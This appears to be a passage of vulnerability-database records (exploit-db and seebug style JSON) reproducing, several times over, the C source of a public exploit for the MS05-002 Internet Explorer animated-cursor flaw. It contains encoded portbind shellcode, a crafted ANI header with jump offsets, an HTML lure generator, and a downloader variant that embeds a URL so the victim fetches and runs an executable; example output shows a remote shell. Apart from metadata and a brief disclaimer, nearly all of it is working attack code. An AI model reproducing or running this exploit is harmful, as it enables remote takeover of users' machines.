Jitsu */\n\"\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90\"\n\"\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\x77\\x82\\x40\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\n\n/* portbind shellcode */\nunsigned char shellcode[] =\n\"\\xEB\\x0F\\x58\\x80\\x30\\x17\\x40\\x81\\x38\\x6D\\x30\\x30\\x21\\x75\\xF4\"\n\"\\xEB\\x05\\xE8\\xEC\\xFF\\xFF\\xFF\\xFE\\x94\\x16\\x17\\x17\\x4A\\x42\\x26\"\n\"\\xCC\\x73\\x9C\\x14\\x57\\x84\\x9C\\x54\\xE8\\x57\\x62\\xEE\\x9C\\x44\\x14\"\n\"\\x71\\x26\\xC5\\x71\\xAF\\x17\\x07\\x71\\x96\\x2D\\x5A\\x4D\\x63\\x10\\x3E\"\n\"\\xD5\\xFE\\xE5\\xE8\\xE8\\xE8\\x9E\\xC4\\x9C\\x6D\\x2B\\x16\\xC0\\x14\\x48\"\n\"\\x6F\\x9C\\x5C\\x0F\\x9C\\x64\\x37\\x9C\\x6C\\x33\\x16\\xC1\\x16\\xC0\\xEB\"\n\"\\xBA\\x16\\xC7\\x81\\x90\\xEA\\x46\\x26\\xDE\\x97\\xD6\\x18\\xE4\\xB1\\x65\"\n\"\\x1D\\x81\\x4E\\x90\\xEA\\x63\\x05\\x50\\x50\\xF5\\xF1\\xA9\\x18\\x17\\x17\"\n\"\\x17\\x3E\\xD9\\x3E\\xE0\\xFE\\xFF\\xE8\\xE8\\xE8\\x26\\xD7\\x71\\x9C\\x10\"\n\"\\xD6\\xF7\\x15\\x9C\\x64\\x0B\\x16\\xC1\\x16\\xD1\\xBA\\x16\\xC7\\x9E\\xD1\"\n\"\\x9E\\xC0\\x4A\\x9A\\x92\\xB7\\x17\\x17\\x17\\x57\\x97\\x2F\\x16\\x62\\xED\"\n\"\\xD1\\x17\\x17\\x9A\\x92\\x0B\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x7F\\x13\"\n\"\\x17\\x17\\x17\\x7F\\x17\\x07\\x17\\x17\\x7F\\x68\\x81\\x8F\\x17\\x7F\\x17\"\n\"\\x17\\x17\\x17\\xE8\\xC7\\x9E\\x92\\x9A\\x17\\x17\\x17\\x9A\\x92\\x18\\x17\"\n\"\\x17\\x17\\x47\\x40\\xE8\\xC1\\x40\\x9A\\x9A\\x42\\x17\\x17\\x17\\x46\\xE8\"\n\"\\xC7\\x9E\\xD0\\x9A\\x92\\x4A\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x26\\xDE\"\n\"\\x46\\x46\\x46\\x46\\x46\\xE8\\xC7\\x9E\\xD4\\x9A\\x92\\x7C\\x17\\x17\\x17\"\n\"\\x47\\x40\\xE8\\xC1\\x26\\xDE\\x46\\x46\\x46\\x46\\x9A\\x82\\xB6\\x17\\x17\"\n\"\\x17\\x45\\x44\\xE8\\xC7\\x9E\\xD4\\x9A\\x92\\x6B\\x17\\x17\\x17\\x47\\x40\"\n\"\\xE8\\xC1\\x9A\\x9A\\x86\\x17\\x17\\x17\\x46\\x7F\\x68\\x81\\x8F\\x17\\xE8\"\n\"\\xA2\\x9A\\x17\\x17\\x17\\x44\\xE8\\xC7\\x48\\x9A\\x92\\x3E\\x17\\x17\\x17\"\n\"\\x47\\x40\\xE8\\xC1\\x7F\\x17\\x17\\x17\\x17\\x9A\\x8A\\x82\\x17\\x17\\x17\"\n\"\\x44\\xE8\\xC7\\x9E\\xD4\\x9A\\x92\\x26\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\"\n\"\\xE8\\xA2\\x86\\x17\\x17\\x17\\xE8\\xA2\\x9A\\x17\\x17\\x17\\x44\\xE8\\xC7\"\n\"\\x9A\\x92\\x2E\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x44\\xE8\\xC7\\x9A\\x92\"\n\"\\x56\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x7F\\x12\\x17\\x17\\x17\\x9A\\x9A\"\n\"\\x82\\x17\\x17\\x17\\x46\\xE8\\xC7\\x9A\\x92\\x5E\\x17\\x17\\x17\\x47\\x40\"\n\"\\xE8\\xC1\\x7F\\x17\\x17\\x17\\x17\\xE8\\xC7\\xFF\\x6F\\xE9\\xE8\\xE8\\x50\"\n\"\\x72\\x63\\x47\\x65\\x78\\x74\\x56\\x73\\x73\\x65\\x72\\x64\\x64\\x17\\x5B\"\n\"\\x78\\x76\\x73\\x5B\\x7E\\x75\\x65\\x76\\x65\\x6E\\x56\\x17\\x41\\x7E\\x65\"\n\"\\x63\\x62\\x76\\x7B\\x56\\x7B\\x7B\\x78\\x74\\x17\\x48\\x7B\\x74\\x65\\x72\"\n\"\\x76\\x63\\x17\\x48\\x7B\\x60\\x65\\x7E\\x63\\x72\\x17\\x48\\x7B\\x74\\x7B\"\n\"\\x78\\x64\\x72\\x17\\x40\\x7E\\x79\\x52\\x6F\\x72\\x74\\x17\\x52\\x6F\\x7E\"\n\"\\x63\\x47\\x65\\x78\\x74\\x72\\x64\\x64\\x17\\x40\\x7E\\x79\\x5E\\x79\\x72\"\n\"\\x63\\x17\\x5E\\x79\\x63\\x72\\x65\\x79\\x72\\x63\\x58\\x67\\x72\\x79\\x56\"\n\"\\x17\\x5E\\x79\\x63\\x72\\x65\\x79\\x72\\x63\\x58\\x67\\x72\\x79\\x42\\x65\"\n\"\\x7B\\x56\\x17\\x5E\\x79\\x63\\x72\\x65\\x79\\x72\\x63\\x45\\x72\\x76\\x73\"\n\"\\x51\\x7E\\x7B\\x72\\x17\\x17\\x17\\x17\\x17\\x17\\x17\\x17\\x17\\x7A\\x27\"\n\"\\x27\\x39\\x72\\x6F\\x72\\x17\"\n\"m00!\";\n\n//#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port)\n\nunsigned char discl[] =\n\"This is provided as proof-of-concept code only for educational\"\n\" purposes and testing by authorized individuals with permission\"\n\" to do so.\";\n\nunsigned char html[] =\n\"<html>\\n\"\n\"(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\"\n\"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\\\"\"\n\"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\\\">\"\n\"Patch (MS05-002)</a>\\n\"\n\"<script>alert(\\\"%s\\\")</script>\\n<head>\\n\\t<style>\\n\"\n\"\\t\\t* {CURSOR: url(\\\"%s.ani\\\")}\\n\\t</style>\\n</head>\\n\"\n\"</html>\";\n\nunsigned short\nfixx(unsigned short p)\n{\n unsigned short r = 0;\n r = (p & 0xFF00) >> 8;\n r |= (p & 0x00FF) << 8;\n\nreturn r;\n}\n\nvoid\nusage(char *prog)\n{\n printf(\"Usage:\\n\");\n printf(\"%s <file> <url to file>\\n\\n\", prog);\n printf(\"eg: %s index http://www.blic.net/proggy.exe\\n\\n\", prog);\n exit(0);\n}\n\nint\nmain(int argc, char **argv)\n{\n FILE *fp;\n unsigned short port;\n unsigned char f[256+5] = \"\";\n unsigned char anib[912] = \"\";\n\n unsigned char newshellcode[686];\n\n printf(\"\\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\\n\\n\");\n printf(\"\\tCopyright (c) 2004-2005 .: houseofdabus :.\\n\\n\\n\");\n printf(\"\\tModified by Vertygo (ivanm@blic.net)\\n\\n\\n\");\n\n printf(\"%s\\n\\n\", discl);\n if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {\n printf(\"[-] Size of shellcode must be <= 686 bytes\\n\");\n return 0;\n }\n if (argc < 3) usage(argv[0]);\n\n if (strlen(argv[1]) > 256) {\n printf(\"[-] Size of filename must be <=256 bytes\\n\");\n return 0;\n }\n\n /* creating ani file */\n strcpy(f, argv[1]);\n strcat(f, \".ani\");\n printf(\"[*] Creating %s file ...\", f);\n fp = fopen(f, \"wb\");\n if (fp == NULL) {\n printf(\"\\n[-] error: can\\'t create file: %s\\n\", f);\n return 0;\n }\n\n memset(newshellcode,0x90,sizeof(shellcode)+strlen(argv[2])+1);\n strcpy(newshellcode,shellcode);\n strcat(newshellcode,argv[2]);\n strcat(newshellcode,\"\\x01\");\n memset(anib, 0x90, 912);\n memcpy(anib, aniheader, sizeof(aniheader)-1);\n memcpy(anib+sizeof(aniheader)-1, newshellcode, sizeof(newshellcode)-1);\n fwrite(anib, 1, 912, fp);\n printf(\" Ok\\n\");\n fclose(fp);\n f[0] = '\\0';\n strcpy(f, argv[1]);\n strcat(f, \".html\");\n printf(\"[*] Creating %s file ...\", f);\n fp = fopen(f, \"wb\");\n if (fp == NULL) {\n printf(\"\\n[-] error: can\\'t create file: %s\\n\", f);\n return 0;\n }\n sprintf(anib, html, discl, argv[1]);\n fwrite(anib, 1, strlen(anib), fp);\n printf(\" Ok\\n\");\n fclose(fp);\n\nreturn 0;\n}\n\n// milw0rm.com [2005-01-24]", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "seebug": [{"lastseen": "2017-11-19T21:36:47", "description": "No description provided by source.", "published": "2008-07-07T00:00:00", "title": "MS Internet Explorer .ANI files handling Downloader Exploit (MS05-002)", "type": "seebug", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-1049"], "modified": "2008-07-07T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-8979", "id": "SSV:8979", "sourceData": "\n /* Modified by Vertygo aka Ivanm (ivanm@blic.net) all credits goes to\r\n houseofdabus Berend-Jan Wever and to milw0rm*/\r\n/* Added string.h /str0ke */\r\n/* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2\r\n*\r\n* Copyright (c) 2004-2005 houseofdabus.\r\n*\r\n* (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\r\n* (CAN-2004-1049)\r\n*\r\n*\r\n*\r\n* .::[ houseofdabus ]::.\r\n*\r\n*\r\n*\r\n* (universal -- for all affected systems)\r\n* ---------------------------------------------------------------------\r\n* Description:\r\n* A remote code execution vulnerability exists in the way that\r\n* cursor, animated cursor, and icon formats are handled. An attacker\r\n* could try to exploit the vulnerability by constructing a malicious\r\n* cursor or icon file that could potentially allow remote code\r\n* execution if a user visited a malicious Web site or viewed a\r\n* malicious e-mail message. An attacker who successfully exploited\r\n* this vulnerability could take complete control of an affected\r\n* system.\r\n*\r\n* ---------------------------------------------------------------------\r\n* Patch:\r\n* http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\r\n*\r\n* ---------------------------------------------------------------------\r\n* Tested on:\r\n* - Windows Server 2003\r\n* - Windows XP SP1\r\n* - Windows XP SP0\r\n* - Windows 2000 SP4\r\n* - Windows 2000 SP3\r\n* - Windows 2000 SP2\r\n*\r\n* ---------------------------------------------------------------------\r\n* Compile:\r\n*\r\n* Win32/VC++ : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\r\n* Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\r\n* Linux : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\r\n*\r\n* ---------------------------------------------------------------------\r\n* Example:\r\n*\r\n* C:\\>HOD-ms05002-ani-expl.exe poc 7777\r\n* <...>\r\n* [*] Creating poc.ani file ... Ok\r\n* [*] Creating poc.html file ... Ok\r\n*\r\n* C:\\>\r\n*\r\n* start IE -> C:\\poc.html\r\n*\r\n* C:\\>telnet localhost 7777\r\n* Microsoft Windows 2000 [Version 5.00.2195]\r\n* (C) Copyright 1985-2000 Microsoft Corp.\r\n*\r\n* C:\\Documents and Settings\\Administrator\\Desktop>\r\n*\r\n* ---------------------------------------------------------------------\r\n*\r\n* This is provided as proof-of-concept code only for educational\r\n* purposes and testing by authorized individuals with permission to\r\n* do so.\r\n*\r\n*/\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n/* ANI header */\r\nunsigned char aniheader[] =\r\n"\\x52\\x49\\x46\\x46\\x9c\\x18\\x00\\x00\\x41\\x43\\x4f\\x4e\\x61\\x6e\\x69\\x68"\r\n"\\x7c\\x03\\x00\\x00\\x24\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00"\r\n"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"\r\n\r\n/* jmp offset, no Jitsu */\r\n"\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90"\r\n"\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\x77\\x82\\x40\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";\r\n\r\n/* portbind shellcode */\r\nunsigned char shellcode[] =\r\n"\\xEB\\x0F\\x58\\x80\\x30\\x17\\x40\\x81\\x38\\x6D\\x30\\x30\\x21\\x75\\xF4"\r\n"\\xEB\\x05\\xE8\\xEC\\xFF\\xFF\\xFF\\xFE\\x94\\x16\\x17\\x17\\x4A\\x42\\x26"\r\n"\\xCC\\x73\\x9C\\x14\\x57\\x84\\x9C\\x54\\xE8\\x57\\x62\\xEE\\x9C\\x44\\x14"\r\n"\\x71\\x26\\xC5\\x71\\xAF\\x17\\x07\\x71\\x96\\x2D\\x5A\\x4D\\x63\\x10\\x3E"\r\n"\\xD5\\xFE\\xE5\\xE8\\xE8\\xE8\\x9E\\xC4\\x9C\\x6D\\x2B\\x16\\xC0\\x14\\x48"\r\n"\\x6F\\x9C\\x5C\\x0F\\x9C\\x64\\x37\\x9C\\x6C\\x33\\x16\\xC1\\x16\\xC0\\xEB"\r\n"\\xBA\\x16\\xC7\\x81\\x90\\xEA\\x46\\x26\\xDE\\x97\\xD6\\x18\\xE4\\xB1\\x65"\r\n"\\x1D\\x81\\x4E\\x90\\xEA\\x63\\x05\\x50\\x50\\xF5\\xF1\\xA9\\x18\\x17\\x17"\r\n"\\x17\\x3E\\xD9\\x3E\\xE0\\xFE\\xFF\\xE8\\xE8\\xE8\\x26\\xD7\\x71\\x9C\\x10"\r\n"\\xD6\\xF7\\x15\\x9C\\x64\\x0B\\x16\\xC1\\x16\\xD1\\xBA\\x16\\xC7\\x9E\\xD1"\r\n"\\x9E\\xC0\\x4A\\x9A\\x92\\xB7\\x17\\x17\\x17\\x57\\x97\\x2F\\x16\\x62\\xED"\r\n"\\xD1\\x17\\x17\\x9A\\x92\\x0B\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x7F\\x13"\r\n"\\x17\\x17\\x17\\x7F\\x17\\x07\\x17\\x17\\x7F\\x68\\x81\\x8F\\x17\\x7F\\x17"\r\n"\\x17\\x17\\x17\\xE8\\xC7\\x9E\\x92\\x9A\\x17\\x17\\x17\\x9A\\x92\\x18\\x17"\r\n"\\x17\\x17\\x47\\x40\\xE8\\xC1\\x40\\x9A\\x9A\\x42\\x17\\x17\\x17\\x46\\xE8"\r\n"\\xC7\\x9E\\xD0\\x9A\\x92\\x4A\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x26\\xDE"\r\n"\\x46\\x46\\x46\\x46\\x46\\xE8\\xC7\\x9E\\xD4\\x9A\\x92\\x7C\\x17\\x17\\x17"\r\n"\\x47\\x40\\xE8\\xC1\\x26\\xDE\\x46\\x46\\x46\\x46\\x9A\\x82\\xB6\\x17\\x17"\r\n"\\x17\\x45\\x44\\xE8\\xC7\\x9E\\xD4\\x9A\\x92\\x6B\\x17\\x17\\x17\\x47\\x40"\r\n"\\xE8\\xC1\\x9A\\x9A\\x86\\x17\\x17\\x17\\x46\\x7F\\x68\\x81\\x8F\\x17\\xE8"\r\n"\\xA2\\x9A\\x17\\x17\\x17\\x44\\xE8\\xC7\\x48\\x9A\\x92\\x3E\\x17\\x17\\x17"\r\n"\\x47\\x40\\xE8\\xC1\\x7F\\x17\\x17\\x17\\x17\\x9A\\x8A\\x82\\x17\\x17\\x17"\r\n"\\x44\\xE8\\xC7\\x9E\\xD4\\x9A\\x92\\x26\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1"\r\n"\\xE8\\xA2\\x86\\x17\\x17\\x17\\xE8\\xA2\\x9A\\x17\\x17\\x17\\x44\\xE8\\xC7"\r\n"\\x9A\\x92\\x2E\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x44\\xE8\\xC7\\x9A\\x92"\r\n"\\x56\\x17\\x17\\x17\\x47\\x40\\xE8\\xC1\\x7F\\x12\\x17\\x17\\x17\\x9A\\x9A"\r\n"\\x82\\x17\\x17\\x17\\x46\\xE8\\xC7\\x9A\\x92\\x5E\\x17\\x17\\x17\\x47\\x40"\r\n"\\xE8\\xC1\\x7F\\x17\\x17\\x17\\x17\\xE8\\xC7\\xFF\\x6F\\xE9\\xE8\\xE8\\x50"\r\n"\\x72\\x63\\x47\\x65\\x78\\x74\\x56\\x73\\x73\\x65\\x72\\x64\\x64\\x17\\x5B"\r\n"\\x78\\x76\\x73\\x5B\\x7E\\x75\\x65\\x76\\x65\\x6E\\x56\\x17\\x41\\x7E\\x65"\r\n"\\x63\\x62\\x76\\x7B\\x56\\x7B\\x7B\\x78\\x74\\x17\\x48\\x7B\\x74\\x65\\x72"\r\n"\\x76\\x63\\x17\\x48\\x7B\\x60\\x65\\x7E\\x63\\x72\\x17\\x48\\x7B\\x74\\x7B"\r\n"\\x78\\x64\\x72\\x17\\x40\\x7E\\x79\\x52\\x6F\\x72\\x74\\x17\\x52\\x6F\\x7E"\r\n"\\x63\\x47\\x65\\x78\\x74\\x72\\x64\\x64\\x17\\x40\\x7E\\x79\\x5E\\x79\\x72"\r\n"\\x63\\x17\\x5E\\x79\\x63\\x72\\x65\\x79\\x72\\x63\\x58\\x67\\x72\\x79\\x56"\r\n"\\x17\\x5E\\x79\\x63\\x72\\x65\\x79\\x72\\x63\\x58\\x67\\x72\\x79\\x42\\x65"\r\n"\\x7B\\x56\\x17\\x5E\\x79\\x63\\x72\\x65\\x79\\x72\\x63\\x45\\x72\\x76\\x73"\r\n"\\x51\\x7E\\x7B\\x72\\x17\\x17\\x17\\x17\\x17\\x17\\x17\\x17\\x17\\x7A\\x27"\r\n"\\x27\\x39\\x72\\x6F\\x72\\x17"\r\n"m00!";\r\n\r\n//#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port)\r\n\r\nunsigned char discl[] =\r\n"This is provided as proof-of-concept code only for educational"\r\n" purposes and testing by authorized individuals with permission"\r\n" to do so.";\r\n\r\nunsigned char html[] =\r\n"<html>\\n"\r\n"(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit"\r\n"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\\""\r\n"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\\">"\r\n"Patch (MS05-002)</a>\\n"\r\n"<script>alert(\\"%s\\")</script>\\n<head>\\n\\t<style>\\n"\r\n"\\t\\t* {CURSOR: url(\\"%s.ani\\")}\\n\\t</style>\\n</head>\\n"\r\n"</html>";\r\n\r\nunsigned short\r\nfixx(unsigned short p)\r\n{\r\n unsigned short r = 0;\r\n r = (p & 0xFF00) >> 8;\r\n r |= (p & 0x00FF) << 8;\r\n\r\nreturn r;\r\n}\r\n\r\nvoid\r\nusage(char *prog)\r\n{\r\n printf("Usage:\\n");\r\n printf("%s <file> <url to file>\\n\\n", prog);\r\n printf("eg: %s index http://www.blic.net/proggy.exe\\n\\n", prog);\r\n exit(0);\r\n}\r\n\r\nint\r\nmain(int argc, char **argv)\r\n{\r\n FILE *fp;\r\n unsigned short port;\r\n unsigned char f[256+5] = "";\r\n unsigned char anib[912] = "";\r\n\r\n unsigned char newshellcode[686];\r\n\r\n printf("\\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\\n\\n");\r\n printf("\\tCopyright (c) 2004-2005 .: houseofdabus :.\\n\\n\\n");\r\n printf("\\tModified by Vertygo (ivanm@blic.net)\\n\\n\\n");\r\n\r\n printf("%s\\n\\n", discl);\r\n if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {\r\n printf("[-] Size of shellcode must be <= 686 bytes\\n");\r\n return 0;\r\n }\r\n if (argc < 3) usage(argv[0]);\r\n\r\n if (strlen(argv[1]) > 256) {\r\n printf("[-] Size of filename must be <=256 bytes\\n");\r\n return 0;\r\n }\r\n\r\n /* creating ani file */\r\n strcpy(f, argv[1]);\r\n strcat(f, ".ani");\r\n printf("[*] Creating %s file ...", f);\r\n fp = fopen(f, "wb");\r\n if (fp == NULL) {\r\n printf("\\n[-] error: can\\'t create file: %s\\n", f);\r\n return 0;\r\n }\r\n\r\n memset(newshellcode,0x90,sizeof(shellcode)+strlen(argv[2])+1);\r\n strcpy(newshellcode,shellcode);\r\n strcat(newshellcode,argv[2]);\r\n strcat(newshellcode,"\\x01");\r\n memset(anib, 0x90, 912);\r\n memcpy(anib, aniheader, sizeof(aniheader)-1);\r\n memcpy(anib+sizeof(aniheader)-1, newshellcode, sizeof(newshellcode)-1);\r\n fwrite(anib, 1, 912, fp);\r\n printf(" Ok\\n");\r\n fclose(fp);\r\n f[0] = '\\0';\r\n strcpy(f, argv[1]);\r\n strcat(f, ".html");\r\n printf("[*] Creating %s file ...", f);\r\n fp = fopen(f, "wb");\r\n if (fp == NULL) {\r\n printf("\\n[-] error: can\\'t create file: %s\\n", f);\r\n return 0;\r\n }\r\n sprintf(anib, html, discl, argv[1]);\r\n fwrite(anib, 1, strlen(anib), fp);\r\n printf(" Ok\\n");\r\n fclose(fp);\r\n\r\nreturn 0;\r\n}\n ", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-8979"}, {"lastseen": "2017-11-19T21:36:46", "description": "No description provided by source.", "published": "2008-07-07T00:00:00", "title": "MS Internet Explorer .ANI files handling Universal Exploit (MS05-002)", "type": "seebug", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-1049"], "modified": "2008-07-07T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-8977", "id": "SSV:8977", "sourceData": "\n /* Added string.h /str0ke */\r\n/* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2\r\n *\r\n * Copyright (c) 2004-2005 houseofdabus.\r\n *\r\n * (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\r\n * (CAN-2004-1049)\r\n *\r\n *\r\n *\r\n * .::[ houseofdabus ]::.\r\n *\r\n *\r\n *\r\n * (universal -- for all affected systems)\r\n * ---------------------------------------------------------------------\r\n * Description:\r\n * A remote code execution vulnerability exists in the way that\r\n * cursor, animated cursor, and icon formats are handled. An attacker\r\n * could try to exploit the vulnerability by constructing a malicious\r\n * cursor or icon file that could potentially allow remote code\r\n * execution if a user visited a malicious Web site or viewed a\r\n * malicious e-mail message. An attacker who successfully exploited\r\n * this vulnerability could take complete control of an affected\r\n * system.\r\n *\r\n * ---------------------------------------------------------------------\r\n * Patch:\r\n * http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\r\n *\r\n * ---------------------------------------------------------------------\r\n * Tested on:\r\n * - Windows Server 2003\r\n * - Windows XP SP1\r\n * - Windows XP SP0\r\n * - Windows 2000 SP4\r\n * - Windows 2000 SP3\r\n * - Windows 2000 SP2\r\n *\r\n * ---------------------------------------------------------------------\r\n * Compile:\r\n *\r\n * Win32/VC++ : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\r\n * Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\r\n * Linux : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\r\n *\r\n * ---------------------------------------------------------------------\r\n * Example:\r\n *\r\n * C:\\>HOD-ms05002-ani-expl.exe poc 7777\r\n * <...>\r\n * [*] Creating poc.ani file ... Ok\r\n * [*] Creating poc.html file ... Ok\r\n *\r\n * C:\\>\r\n *\r\n * start IE -> C:\\poc.html\r\n *\r\n * C:\\>telnet localhost 7777\r\n * Microsoft Windows 2000 [Version 5.00.2195]\r\n * (C) Copyright 1985-2000 Microsoft Corp.\r\n *\r\n * C:\\Documents and Settings\\Administrator\\Desktop>\r\n *\r\n * ---------------------------------------------------------------------\r\n *\r\n * This is provided as proof-of-concept code only for educational\r\n * purposes and testing by authorized individuals with permission to\r\n * do so.\r\n *\r\n */\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n/* ANI header */\r\nunsigned char aniheader[] =\r\n"\\x52\\x49\\x46\\x46\\x9c\\x18\\x00\\x00\\x41\\x43\\x4f\\x4e\\x61\\x6e\\x69\\x68"\r\n"\\x7c\\x03\\x00\\x00\\x24\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00"\r\n"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"\r\n\r\n/* jmp offset, no Jitsu */\r\n"\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90"\r\n"\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00"\r\n"\\x77\\x82\\x40\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"\r\n"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";\r\n\r\n\r\n/* portbind shellcode */\r\nunsigned char shellcode[] 